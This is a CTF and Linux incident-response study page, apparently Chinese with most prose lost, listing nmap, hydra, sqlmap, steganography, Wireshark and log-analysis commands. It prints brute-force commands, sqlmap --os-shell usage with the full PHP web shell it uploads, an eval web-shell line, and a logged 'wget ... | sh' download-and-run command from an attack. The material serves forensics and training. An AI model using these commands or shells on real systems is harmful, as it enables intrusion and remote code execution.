
CTF - 

CTF-Wiki
(Base64 | ASCII)

(HEX | dd )

 -
Linux
Linux 
Linux  bypass007
Linux  freebuf·
Linux  Shell 
Linux Shell
Linux Crontab CaiNiao
Linux Crontab readthedocs
Web
ab-alex
BurpSuite
Burp Suite 
Burp Suite - Web Application Basics for Beginners (Kali Linux Tutorial)
PHP 
wgpsec.org
SQL (SQL_Map)
wgpsec.org
wintrysec
Nmap 
wgpsec.org

3-5 2
6

flag



3
| Linux 30

Linux flag

Windows Linux
VirtualBox VMware

dd --help BurpSuite

BurpSuite
10

 “ ” 

 & 
Kali Linux : /usr/share/wordlists

Nmap 

nmap $ip                   # 
nmap $url                  # 
nmap -P0 $ip               # ping : ping
nmap $192.168.1.1-20       # IP(1-20)
nmap 192.168.1.1/24        # (1-255)
nmap -iL $ip.txt           # 



hydra 

 arp-scan 

nmap -p $  $ip            # 
nmap -p 1-100 $192.168.1.1  # 
nmap -F $ip                 # 100
nmap -p- $ip                # 65535
nmap -p 80,22,3306 $ip      # 

nmap -A $ip         # 
nmap -sV $ip        # /
nmap -sC $ip        # 

nmap -p $port(s) -sT -Pn $target(s) 
# 
nmap -p 22,80,443 -sT -Pn 192.168.1.1-20
# 192.168.1.1 192.168.1.20 TCP
# ping nmap 

# nmap user/user passwd/passwd IP SSH
nmap --script ssh-brute --script-args userdb=$user,passdb=$passwd $IP

# nmap (hydra) nmap
hydra nmap

hydra -l $user -P $passwd $IP $
# 
hydra -l $ user root -P $  $IP  $ssh



dirb

dirsearch

Strings 

CTF 

dd - Linux 

arp-scan -l                #  IP   
arp-scan $192.168.1.0/24   #   
arp-scan -lq               #   
arp-scan -I $eth0 -l       # 

# /usr/share/wordlists/dirb/big.txt Web
dirb $url /usr/share/wordlists/dirb/big.txt

#
dirb <url_base> [<wordlist_file(s)>] [options]
-a # user-agent
-p #<proxy[:port]>
-c # cookie
-z #
-o #
-X #
-H #
-i #

dirsearch -u $url         # url
dirsearch -u $url -e php  # php  -e *

strings $filename     # str
strings $filename | grep-i "flag{"  # grep  "flag{" 



dd
binwalk $filename   

binwalk - Linux

Binwalk Linux
   extracted

steghide -  | 

MySQL  - SQLMap

dd if=$  of=$  skip=$ +0 bs=$ (1)

# :  
binwalk $filename     # 
binwalk -e $filename  # 

steghide embed -cf $  -ef $    # 
steghide info $filename                     # 
steghide extract -sf $filename              # 

sqlmap -u "http://192.168.56.102:8080/user.php?id=0" # url



--dbms

dbms Database Management System  Sqlmap 

--dbms --fingerprint Sqlmap 

--dbms  Sqlmap 

--tables --exclude-sysdbs  -D

--columns -C -T  -D
--columns -D -T

-C

 SQLite 

sqlmap --dbms MySQL <version>  # MySQL

sqlmap -u $url -D $DBName --tables

sqlmap -u $url --columns -D $testdb -T $users

Database: SQLite_masterdb  
Table: users  
[3 columns]  
+---------+---------+  
| Column  | Type    |  
+---------+---------+  
| id      | INTEGER |  
| name    | TEXT    |  



 PostgreSQL public
 PostgreSQL  WEB 
public

--dump -C -T -D --start --stop  --where
-D -T -C

 Firebird 

--dump -D
Sqlmap --dump  CSV  Sqlmap

:

| surname | TEXT    |  
+---------+---------+

sqlmap -u $url --dump -T $users

Database: Firebird_masterdb  
Table: USERS  
[4 entries]  
+----+--------+------------+  
| ID | NAME   | SURNAME    |  
+----+--------+------------+  
| 1  | luther | blisset    |  
| 2  | fluffy | bunny      |  
| 3  | wu     | ming       |  
| 4  | NULL   | nameisnull |  
+---+--------+-------------+

sqlmap -u $url -D $DSSchool --dump

[11:15:27] [INFO] analyzing table dump for possible password hashes  
Database: DSSchool  



 CSV 

--start --stop --stop
1

--start 1 --stop 3

--where
--where  Sqlmap  WHERE --where id>3  id  3

Linux 

netstat -antlp|more  - 

netstat -antlp|more more

Table: T_SCORESYSTEMTEACHERS  
[2 entries]  
+-----+----------+-------+---------+----------+  
| AGE | NAME     | TITLE | ACCOUNT | PASSWORD |  
+-----+----------+-------+---------+----------+  
| 21  | neo      | ??    | 001     | 001      |  
| 31  | morphine | ??    | 002     | 002      |  
+-----+----------+-------+---------+----------+  
  
[11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file 
'/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACH
ERS.csv'

Proto TCP UDP
Recv-Q Send-Q

Local Address

Foreign Address

State ESTABLISHED LISTEN
CLOSE_WAIT
PID/Program name ID

more



file /proc/$PID/exe  - 

file /proc/$PID/exe $PID ID

ps aux | grep $PID - 

ps aux | grep $PID ID PID

find ./ -iname "*" -mtime -10 -print
10

q

ps aux : 
| : ps aux grep

grep PID : grep PID
ID

PID

cat ~/bash_history >> history.txt

./ : 
-iname "*" : -iname "*"

-mtime -10 : -mtime -10 10
-

-print : 
10



find ./ -iname "*" -atime -1 -type f

(/etc/passwd /etc/shadow /etc/group)

chkconfig --list
0 1 2 3 4 5 6

"on" "off"

0

1 windows

2 NFS

./ : 
-iname "*" : -iname "*"

-atime -1 : -atime -1 1 -

-type f : -type f

# 1 (uid 0)
awk -F: '$3==0{print $1}' /etc/passwd

# 2
awk '/\$1|\$6/{print $1}' /etc/shadow

# 3 root sudo sudo
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

# 4
usermod -L user    # /etc/shadow !
userdel -r user    # user /home user



3

4

5

6

 - 
- (https://www.cnblogs.com/cainiao-chuanqi/p/15192504.html)
-CTF Wiki(https://ctf-wiki.org/misc/introduction/)

/ Flag

Linux  strings  - str grep

strings $filename

strings $filename | grep-i "flag{"



Linux  File  - 
 file  

Zip 7z JPG PNG

Windows  Winhex 

file $



/ :  
winhex 010 Editor

| : 



Linux  Binwalk
Binwalk Linux

   extracted

Linux  foremost
binwalk foremost
: foremost $  -o $

Linux  dd  - dd
*  binwalk $filename   

:

:

Windows  Winhex - dd winhex
winhex

: windows winhex
: 1byte  

:  
: binwalk $filename  
: binwalk -e $filename

dd if=$  of=$  bs=1 skip=$   

if=file #   
of=file #   
bs=bytes # bytes ibs obs   
skip=blocks # blocks



Windows/Linux  010Editor - 

/  



Hax Winhex / 010Editor

rar exe png python



Linux
: linux 

: cat >
: linux md5:

md5sum $

Windows
:windows

: copy/B
: windows md5:

certutil -hashfile $  md5

byd KEY

KEY flag  ( )

Winhex/010Editor

flag key

Notepad++
notepad++ flag key

HEX-Editor winhex

1.
2.GIF
3.
4.
5.
6.Exif
7.
8.
9.



10.CRC
11.
12. LSB
13.
14.Stegdetect
15.outguess
16.Jphide
17.F5

.zip - 

Windows  - Firework
winhex firework firework

:

 - Exif
Exijf PEG PEG / PEG

/ / Exift
PEG exif  flag

Windows  - Stegsolve RGB
jpg

RGB XOR ADD SUB StegSolve



: RGB

LSB( Least Significant Bit)
LSB 7

1. (RGB)
2. 1bit
3. : stegsolve  zsteg  wbstego4  python



zsteg

wbstego4
1sb

python
kali

detect stegano-hidden data in PNG & BMР
Installation
root@kali:/# gem install zsteg

LSB
zsteg xxx.png



python

TweakPNG - PNG PNG
: TweakPNG CRC

:
1. PNG CRC TweakPNG
PNG CRC fe1a5ab6 b0a7a9f1 winhex

fe1a5ab6 b0a7a9f1
2. TweakPNG CRC....
3. CRC CRC

py TweakPNG CRC
01Editor



Bftools - 
: windows cmd :

Bftools .exe decode braincopter -output
Bftools.exe run.

SilentEye -  
: windows' silentEye

:
1. silentEye image >decode decode

2. encrypteddata decode

JPG

1)Stegdetect
Stegdetect. PEG stegdetect Steg JPHide.
OutGuess  Invisible Secrets F5 appendX Camouflage

stegdetect xxx.jpg  
stegdetect -s $  xx.jpg



2)Jphide - LSB JPEG .
:

Stegdetect jphide Jphs. jphswin.exe  open jpeg
seek

txt

3)Outguess - 
:Stegdetect outguess : ./configure

&& make && make install
: outguess -r $



4)F5 - 
: Stegdetect  F5 F5

F5-steganography_F5 CMD
: Java Exrtact $  -p $



1. CQR.exe  

2. PS
 



3.



zip

00

:
: winhex  0000

1. winhex 16 504B0102



2. 50 0000

3.RAR winhex
winhex RAR 24



4 0 0

 - ARCHPR.exe zip
: windows zip

1

1~9



2 3 abc 3
acb???



???

 - ZIP
ZIP

: zip
: readme.txt flag.txt flag txt

readme.txt
:

1 readme.txt readme1.zip
2 archpr  readme1.zip ( 

)





:
1 CRC
2



RAR



RAR

CTF
PCAP

·
·

·
·Host,Protocol,contains,

·
·
·flag



·
·

:
·
·
·

WireShark
wireshark

:
1. IP IP x.x.x.x

2.

3.

4. MAC

5.

ip.src eq x.x.x.x or ip.dst eq x.x.x.x ip.addr eq x.x.x.x

tcp.port eq 80 or udp.port eq 80
tcp. dstport == 80 tcp 80
tcp. srcport == 80 tcp 80
tcp.port >= 1 and tcp.port <= 80

tcp/udp/ arp/ icmp/http/ ftp/dns/ip

eth.dst == A0:00:00:04:C5:84 mac

udp. length = == 26 udp 8 udp   
tcp.len>= 7 ip (tcp ) tcp
ip.len == 94 14 ip.len ip
frame.len == 119 eth



6.http

WireShark 

http(80)

http.request.method == "GET"
http.request.method == "POST"
http.request.uri == "/img/logo-edu.gif"
http contains "GET"
http contains "HTTP/1."
http.request.method == "GET" && http contains "User-Agent:"
http contains "flag"
http contains "key"
tcp contains "flag"



→ →

WireShark
ttp tcp HTTP TCP  

HTTP :
1 HTML
2 hash POST



3 POST eval base64

WireShark
1. wireshark htp



2. wireshark
media type

→ → Ctrl+H

wif



aircrack-ng wifi

1. aircrack-ng cap : aircrack-ng xxx.cap

2. aircrack-ng : aircrack-ng xx.cap -w pass.txt

USB



USB
USB  

USB
USB Leftover Capture Data

leftover capture data->

USB

4  oxoo ; ox01
0x02  



;

 

USB



HTTPS

“CTF/MISC/ /7.png”



Linux 
-bypass007(https://bypass007.github.io/Emergency-Response-Notes/)

Linux 

#1 /etc/passwd
-------------------------------------------
root:x:0:0:root:/root:/bin/bash
account:password:UID:GID:GECOS:directory:shell
-------------------------------------------
# ID ID shell
#

#2 /etc/shadow
-------------------------------------------
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQS
t.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
-------------------------------------------
#

#3 /etc/group

who     # tty   pts
w       #
uptime  #

#1 (uid 0)
-------------------------------------------
awk -F: '$3==0{print $1}' /etc/passwd
-------------------------------------------



#2
-------------------------------------------
awk '/\$1|\$6/{print $1}' /etc/shadow
-------------------------------------------

#3 root sudo sudo
-------------------------------------------
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
-------------------------------------------

#4
-------------------------------------------
    usermod -L user    # /etc/shadow !
    userdel user       # user
    userdel -r user    # user /home user
-------------------------------------------

# .bash_history
#1 root
-------------------------------------------
histroy
-------------------------------------------

#2  /home  .bash_history 

# IP
#1 1
-------------------------------------------
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
-------------------------------------------

#2 /etc/profile
-------------------------------------------
######jiagu history xianshi#########
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "



netstat IP PID

ps

shopt -s histappend
export PROMPT_COMMAND="history -a"
######### jiagu history xianshi ##########
-------------------------------------------

#3 source /etc/profile
-------------------------------------------

 1  2018-07-10 19:45:39 192.168.204.1 root source /etc/profile
-------------------------------------------

#3
-------------------------------------------
history -c
-------------------------------------------
# .bash_profile

#
-------------------------------------------
cat .bash_history >> history.txt
-------------------------------------------

-------------------------------------------
netstat -antlp|more
-------------------------------------------
# pid
#  ls -l /proc/$PID/exe  file /proc/$PID/exe $PID pid 

-------------------------------------------
ps aux | grep pid
-------------------------------------------



0

1 windows

2 NFS

3

4

5

6

 runlevel

: /etc/init.d
/etc/rc.d/rc*.d

sshd S100ssh S K

-------------------------------------------
vi  /etc/inittab
id=3 initdefault  #
-------------------------------------------

-------------------------------------------
/etc/rc.local
/etc/rc.d/rc[0~6].d
-------------------------------------------

-------------------------------------------
ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
-------------------------------------------



more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

1 crontab

2 anacron

-------------------------------------------
crontab -l # cron
-------------------------------------------
#Tips crontab  (/var/spool/cron/  : 
/var/spool/cron/root
-------------------------------------------
crontab -r # cront ( )
crontab -e # crontab
-------------------------------------------
# _/1_ * echo "hello world" >> /tmp/test.txt 

 /home/backup.sh vi /etc/anacrontab @daily 10 example.daily
/bin/bash /home/backup.sh

 backup.sh anacron
 7

-------------------------------------------
/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab



 /etc/re.d/rc.local  
 /etc/init.d/httpd start

ntsysv xinetd

1
RPM

/var/spool/anacron/*
-------------------------------------------

-------------------------------------------
 more /etc/cron.daily/*  #
-------------------------------------------

-------------------------------------------
chkconfig [--level ] [ ] [on|off]
chkconfig –level  2345 httpd on  # 
chkconfig httpd on               # level 2345
-------------------------------------------

-------------------------------------------
chkconfig  --list   # RPM
ps aux | grep crond #
-------------------------------------------

# 3 5  
#
-------------------------------------------
chkconfig --list | grep "3: \|5: "
-------------------------------------------
#



1 /tmp “..”

2 WEBSHELL
find  find /opt -iname "*" -atime 1 -type f   /opt  

3 stat

/var/log/
more /etc/rsyslog.conf

/var/log/cron

/var/log/cups

/var/log/dmesg dmesg

/var/log/mailog

/var/log/message Linux

/var/log/btmp vi
lastb

/var/log/lastlog
vi lastlog

-------------------------------------------
chkconfig --list | grep "3:on\|5:on"
-------------------------------------------

#  /user/local/
-------------------------------------------
service httpd start
-------------------------------------------
# /etc/rc.d/init.d/  



/var/log/wtmp
vi last

/var/log/utmp
vi

w,who,users

/var/log/secure
SSH su sudo

/var/log/secure

#1 IP root
-------------------------------------------
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | 
uniq -c | sort -nr | more
-------------------------------------------

# IP
-------------------------------------------
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4]
[0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
-------------------------------------------

#
-------------------------------------------
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) 
from/; print "$1\n";}'|uniq -c|sort -nr
-------------------------------------------

#2 IP
-------------------------------------------
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort 
-nr | more
-------------------------------------------

# IP
-------------------------------------------
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 
-------------------------------------------

#3 kali



/var/log/yum.log

-------------------------------------------
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, 
GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password 
changed for kali
#grep "useradd" /var/log/secure 
-------------------------------------------

#4 kali
-------------------------------------------
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 
'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned 
by 'kali'
# grep "userdel" /var/log/secure
-------------------------------------------

#5 su
-------------------------------------------
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for 
user good by root(uid=0)
-------------------------------------------

#sudo :
-------------------------------------------
sudo -l
Jul 10 00:43:09 localhost sudo:    good : TTY=pts/4 ; PWD=/home/good ; 
USER=root ; COMMAND=/sbin/shutdown -r now
-------------------------------------------

yum install gcc yum install gcc

[root@bogon ~]# more /var/log/yum.log

Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:24 
Updated: libgcc-4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:24 Updated: libgomp-
4.8.5-28.el7_5.1.x86_64 Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64 
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686 



Windows Windows

1 MD5
D _Web exe

md5 md5 exe “
”

http://www.d99net.net/down/WebShellKill_V2.0.9.zip
MD5 29285decadbce3918a4f8429ec33df46 WebShellKill.exe

exe
exe

exe

hash
hash hash

hash

2 diff
linux diff

def md5sum(file):
    m=hashlib.md5()
    if os.path.isfile(file):
        f=open(file,'rb')
        for line in f:
            m.update(line)
        f.close
    else:
        m.update(file)
    return (m.hexdigest())

diff -c -a -r cms1 cms2



low.php
@eval($_POST['g']);

3
git git add+commit+push

commits
git diff 

4

Beyond Compare WinMerge

Linux

Linux



shell

Linux shell find grep egrep awk sed

1 grep :

2 grep 

3

4 /etc init

5 /etc/passwd

     # unix/linux grep
-------------------------------------------     
grep -C 5 foo file # file foo 5

     grep -B 5 foo file # foo 5
     grep -A 5 foo file # foo 5

-------------------------------------------     
# grep
-------------------------------------------     
grep -V
-------------------------------------------

-------------------------------------------
    grep -rn "hello,world!" 
    -------------------------------------------
    # * : 
    -r 
    -n 
    -R 
    -i 
    -------------------------------------------

-------------------------------------------
    cat input_file | tail -n +1000 | head -n 2000
    -------------------------------------------
    # 1000 2000 1000~2999

find /etc -name init



6 153

Web 

0x01 Web

Web Web WEB

Apache
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-
" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/66.0.3359.139 Safari/537.36"

Web IP

0x02 

WEB

Window  EmEditor 
Linux Shell
Shell+Linux grep awk

-------------------------------------------
cat /etc/passwd |awk  -F ':'  '{print $1}'
-------------------------------------------
# awk -F ':'  $0 ,$1

, $n n

sed -i '153,$d' .bash_history



Apache

#1 IP
-------------------------------------------
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
-------------------------------------------

#2 IP
-------------------------------------------
awk '{print $1}' log_file|sort|uniq|wc -l
-------------------------------------------

#3
-------------------------------------------
grep "/index.php" log_file | wc -l
-------------------------------------------

#4 IP
-------------------------------------------
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
-------------------------------------------

#5 IP
-------------------------------------------
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
-------------------------------------------

#6 IP
-------------------------------------------
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
-------------------------------------------

#7
-------------------------------------------
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | 
uniq | wc -l
-------------------------------------------

#8 2018 6 21 14 IP :
-------------------------------------------
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort 
| uniq | wc -l
-------------------------------------------



0x03 

Web nginx
II7

ip
IP

1
IP IP

Mozilla/4.0+
(compatible;+MSIE+7.0;+Windows+NT+6.1;+WOW64;+Trident/7.0;+SLCC2;+.NET+CLR+2.0.5
0727;+.NET+CLR+3.5.30729;+.NET+CLR+3.0.30729;+.NET4.0C;+.NET4.0E)

2

3

A
B MsgSjlb.aspx MsgSebd.aspx
C Xzuser.aspx
D POST
E



Xzuser.aspx
URL

0x04 

IP 

grep -E 'Googlebot|Baiduspider'  /www/logs/access.2019-02-23.log | awk '{ 
print $1 }' | sort | uniq

cat /www/logs/access.2019-02-23.log | grep -v -E 
'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r 
-n | head -n 100

grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk 
-F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
   2206 219.136.134.13
   1497 182.34.15.248
   1431 211.140.143.100
   1431 119.145.149.106
   1427 61.183.15.179
   1427 218.6.8.189
   1422 124.232.150.171
   1421 106.187.47.224
   1420 61.160.220.252
   1418 114.80.201.18

cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print 
$1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200

cat  /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -
rn|more



HTTP Status

URL 

URL

 

IP, URL 

MySQL 

cat  /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -
rn|more
5056585 304
1125579 200
   7602 400
      5 301

cat  /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -
rn|more

cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum)
{print sum[i],i}}'|sort -rn|more

grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i 
in sum){print sum[i],i}}'|sort -rn|more

cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort 
| uniq -c | sort -rn | more

grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' 
web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt

# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print 
$1" "$7}'



SQL

0x01 Mysql

general query log

 /test.php?id=1

:Time ,
sql ,

:Id show processlist ID, sql ,

:Command Connect Query (
)

:Argument  Connect root@localhost on 
, ,

0x02 /

#1 log
-------------------------------------------
show variables like '%general%';
-------------------------------------------

#2
-------------------------------------------
SET GLOBAL general_log = 'On';
-------------------------------------------

#3
-------------------------------------------
#SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
-------------------------------------------

190604 14:46:14       14 Connect    root@localhost on 
           14 Init DB    test
           14 Query    SELECT * FROM admin WHERE id = 1
           14 Quit  `



2
4 8

MySQL log

Time                 Id        Command         Argument

190601 22:03:20       98 Connect    root@192.168.204.1 on 
           98 Connect    Access denied for user 'root'@'192.168.204.1' 
(using password: YES)
          103 Connect    mysql@192.168.204.1 on 
          103 Connect    Access denied for user 'mysql'@'192.168.204.1' 
(using password: YES)
          104 Connect    mysql@192.168.204.1 on 
          104 Connect    Access denied for user 'mysql'@'192.168.204.1' 
(using password: YES)
          100 Connect    root@192.168.204.1 on 
          101 Connect    root@192.168.204.1 on 
          101 Connect    Access denied for user 'root'@'192.168.204.1' 
(using password: YES)
           99 Connect    root@192.168.204.1 on 
           99 Connect    Access denied for user 'root'@'192.168.204.1' 
(using password: YES)
          105 Connect    mysql@192.168.204.1 on 
          105 Connect    Access denied for user 'mysql'@'192.168.204.1' 
(using password: YES)
          100 Query    set autocommit=0
          102 Connect    mysql@192.168.204.1 on 
          102 Connect    Access denied for user 'mysql'@'192.168.204.1' 
(using password: YES)
          100 Quit    `

190601 22:03:20     100 Connect    root@192.168.204.1 on 
       100 Query    set autocommit=0



Navicat for MySQL

Navicat for MySQL

shell

       100 Quit

190601 22:14:07      106 Connect    root@192.168.204.1 on 
                 106 Query    SET NAMES utf8
                 106 Query    SHOW VARIABLES LIKE 'lower_case_%'
                 106 Query    SHOW VARIABLES LIKE 'profiling'
                 106 Query    SHOW DATABASES

190601 22:17:25      111 Connect    root@localhost on 
                 111 Query    select @@version_comment limit 1
190601 22:17:56      111 Quit

102 Connect    mysql@192.168.204.1 on 
102 Connect    Access denied for user 'mysql'@'192.168.204.1' (using 
password: YES)

# IP
grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
     27 192.168.204.1

# 
grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
     13 mysql
     12 root
      1 root
      1 mysql



drop table drop function lock tables unlock tables load_file() into
outfile into dumpfile

SELECT _from mysql.user SELECT_ from mysql.func

0x03 SQL

SQL sqlmap --os-shell shell
sqlmap sqlmap os-shell

1 SQL Burp 8080

HTTP

tmpbwyov.php
tmpbwyov.php

sqlmap.py -u http://192.168.204.164/sql.php?id=1 --os-shell --
proxy=http://127.0.0.1:8080

<?php 
$c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_e
xecution_time',0);$z=@ini_get('disable_functions');if(!empty($z))
{$z=preg_replace('/[, 
]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c
=$c." 2>&1\n";function f($n){global $z;return 
is_callable($n)and!in_array($n,$z);}if(f('system'))
{ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_o
pen'))
{$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NUL
L;while(!feof($t[1]))



sqlmapoutput

sql

1

2 UDF MOF

3 web

{$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec'))
{$w=shell_exec($c);}elseif(f('passthru'))
{ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('pope
n')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x))
{$w.=fread($x,512);}}@pclose($x);}elseif(f('exec'))
{$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "
".$w."
";?>

mysql\lib\plugin
c:/windows/system32/wbem/mof/

select * from mysql.func



Linux 

-FreeBuf.COM - 
(https://www.freebuf.com/articles/system/218407.html)

Linux Windows Linux Autorun
procexp Linux

shell
Linux

Linux 4 : -> -> -> 

2

Web
4

1

CPU

CPU top



CPU 70%

ps -aux

url
downloader

C&C



IP

IP IP

while true; do netstat -antp | grep [ip]; done



host IP



history

1 &

ps -elf | grep [pid] kill -9 [pid]



Linux Windows 4

crontab-l

anacron cat/etc/anacrontab

ls -al /proc/[pid]/exe rm -f [exe_path]



7

lsof-p[pid]

/ lsmod
chkrootkit

rkhunter

service--status-all

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +7 | xargs ls 
-la

strace-tt-T -etrace=all-p$pid

wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztar zxvf 
chkrootkit.tar.gzcd chkrootkit-0.52make sense./chkrootkit



Linux 90%
Web

SSH
log

IP

SSH Linux SSH

IP
[1] 1

[2] /etc/profile

[3]

Wgethttps://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter
-1.4.4.tar.gztar -zxvf rkhunter-1.4.4.tar.gzcd rkhunter-1.4.4./installer.sh 
--installrkhunter -c

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|
[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4]
[0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) 
from/; print "$1\n";}'|uniq -c|sort -nr

sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if 
[ "$USER_IP" = "" ]thenUSER_IP=`hostname`fi export HISTTIMEFORMAT="%F %T 
$USER_IP `whoami` "  shopt -s histappend  export PROMPT_COMMAND="history -a"



Web

structs2 RCE
thinkphp5.XRCE
Redis
ConfluenceRCE CVE_2019_3396
DrupalRCE CVE-2018-7600
ThinkPHPRCE CVE-2019-9082

Linux Linux
Web DDG

systemdMiner BillGates watchdogs XorDDos Linux

FreeBuf.COM

Linux 

AWK

awk
linux/unix  awk  

awk   Alfred Aho Peter Weinberger  Brian Kernighan 

(stdin)

source /etc/profile

762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-
http://103.219.112.66:8000/i.sh) | sh



awk C awk

action

awk [options] 'Pattern{Action}' filename
command [  ] ' { }'   

pattern

action  pattern  
file

-F fs         # fs  -F:  
-v FS,FS

-v var=value # awk -v OFS="+",

-f script # awk

$ echo "hello world" > test
$ awk '{print}' test
hello world
$ awk '{print $0}' test #$0 ( )
hello world
$ awk '{print $1}' test #$1 , $1,$2

hello
##############################
df -h | awk '{print $5}' #df awk
$NF



BEGIN BEGIN

END END

AWK

 example.txt  

$ awk 'BEGIN{print "wintrysec"} {print $0} END{print "1080"}' test
wintrysec
hello world
1080

FS #  
OFS #  
RS # ( )  
ORS #
NF #number of Field ( )

NR #
FNR # 1
ARGC #
ARGV # AGRV[0] awk
FILENAME#

$ awk -v name="wintrysec",age=19 'BEGIN{print name}' # -v
   BENGIN

wintrysec
$ awk 'BEGIN{name="wintrysec";age=18;print name,age}' #

 
wintrysec 18



sed

sed -- Stream EDitor

awk '{print $2}' example.txt

awk '{sum += $1} END {print sum}' example.txt

sed [options] 'command' file(s)
sed [options] -f scriptfile file(s)

-e<script> # script
-f<script >     # script
-n # script

g #
p #   
w #   
x #   
y #
\1 #
& #



d  s  p  P ( ) 

 ( linux IP)

 / sed

(d )

/oldboy .sh oldboy oldgirl

grep

grep # ."Global Regular Expression Print"
.  

sed -i 's/192.168.1.3/192.168.1.4/g' xxx.log #-i

sed 's|test|TEXT|g'

sed 's/\/bin/\/usr\/local\/bin/g'

sed '/^$/d' file #
sed '2d' file #
sed '2,$d' file # 2
sed '$d' file #
sed '/^test/'d file # test

find /oldboy -type f -name "*.sh"|xargs sed "s#oldboy#oldgirl#g"



Web 
BurpSuite : Burp Suite - Web Application Basics for Beginners (Kali Linux Tutorial)

PHP 

ab-alex

-ab-Alex(https://ab-
